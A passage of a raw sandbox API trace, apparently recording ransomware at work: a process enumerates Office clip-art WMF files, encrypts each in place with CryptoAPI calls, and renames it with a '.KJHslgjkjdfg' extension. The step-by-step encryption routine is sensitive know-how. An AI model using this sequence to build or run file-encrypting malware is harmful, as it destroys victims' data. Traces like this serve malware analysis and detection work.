SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.754] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3650, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3650, lpOverlapped=0x0) returned 1 [0189.754] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.754] SetEndOfFile (hFile=0x114) returned 1 [0189.756] GetProcessHeap () returned 0x2a0000 [0189.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.756] GetProcessHeap () returned 0x2a0000 [0189.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.kjhslgjkjdfg")) returned 1 [0189.758] CloseHandle (hObject=0x114) returned 1 [0189.758] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf553ff00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf553ff00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x476e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00257_.WMF", cAlternateFileName="")) returned 1 [0189.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.759] GetProcessHeap () returned 0x2a0000 [0189.759] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.760] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.760] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.760] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0189.761] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.761] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.761] GetProcessHeap () returned 0x2a0000 [0189.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.761] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.761] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.761] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.762] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.762] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.762] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.762] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.762] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.762] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.762] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x476e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x476e, lpOverlapped=0x0) returned 1 [0189.763] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4770, dwBufLen=0x4770 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4770) returned 1 [0189.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.763] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4770, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4770, lpOverlapped=0x0) returned 1 [0189.763] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.763] SetEndOfFile (hFile=0x114) returned 1 [0189.766] GetProcessHeap () returned 0x2a0000 [0189.766] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.766] GetProcessHeap () returned 0x2a0000 [0189.766] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.kjhslgjkjdfg")) returned 1 [0189.767] CloseHandle (hObject=0x114) returned 1 [0189.767] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7c6d00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f7c6d00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0xd8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00289_.WMF", cAlternateFileName="")) returned 1 [0189.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.768] GetProcessHeap () returned 0x2a0000 [0189.768] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.768] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.768] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.768] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.768] GetProcessHeap () returned 0x2a0000 [0189.768] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.769] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.769] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.769] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.771] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.771] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.771] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.771] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.771] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.771] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.771] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.771] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.771] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd8e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd8e0, lpOverlapped=0x0) returned 1 [0189.773] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd8e0, dwBufLen=0xd8e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd8e0) returned 1 [0189.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.773] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd8e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd8e0, lpOverlapped=0x0) returned 1 [0189.773] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.774] SetEndOfFile (hFile=0x114) returned 1 [0189.776] GetProcessHeap () returned 0x2a0000 [0189.776] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.776] GetProcessHeap () returned 0x2a0000 [0189.776] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.kjhslgjkjdfg")) returned 1 [0189.778] CloseHandle (hObject=0x114) returned 1 [0189.778] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba531a00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba531a00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x10cb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00299_.WMF", cAlternateFileName="")) returned 1 [0189.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.779] GetProcessHeap () returned 0x2a0000 [0189.779] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.779] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.779] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.779] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.781] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.781] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.781] GetProcessHeap () returned 0x2a0000 [0189.781] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.781] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.781] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.781] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.781] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.781] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.781] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.781] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.781] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.782] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.782] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.782] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10cb8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x10cb8, lpOverlapped=0x0) returned 1 [0189.783] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10cc0, dwBufLen=0x10cc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10cc0) returned 1 [0189.784] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.784] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10cc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x10cc0, lpOverlapped=0x0) returned 1 [0189.784] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.784] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.784] SetEndOfFile (hFile=0x114) returned 1 [0189.787] GetProcessHeap () returned 0x2a0000 [0189.787] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.787] GetProcessHeap () returned 0x2a0000 [0189.787] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.kjhslgjkjdfg")) returned 1 [0189.789] CloseHandle (hObject=0x114) returned 1 [0189.789] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d82d600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d82d600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7a04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00305_.WMF", cAlternateFileName="")) returned 1 [0189.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.791] GetProcessHeap () returned 0x2a0000 [0189.791] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.791] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.791] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0189.793] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.793] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.793] GetProcessHeap () returned 0x2a0000 [0189.793] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.793] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.793] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.793] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.793] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.793] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.793] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.793] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.793] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.793] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.793] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.793] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.794] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7a04, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7a04, lpOverlapped=0x0) returned 1 [0189.797] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7a10, dwBufLen=0x7a10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7a10) returned 1 [0189.797] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.797] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7a10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7a10, lpOverlapped=0x0) returned 1 [0189.797] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.798] SetEndOfFile (hFile=0x114) returned 1 [0189.800] GetProcessHeap () returned 0x2a0000 [0189.800] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.800] GetProcessHeap () returned 0x2a0000 [0189.800] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.kjhslgjkjdfg")) returned 1 [0189.802] CloseHandle (hObject=0x114) returned 1 [0189.803] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b207c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, 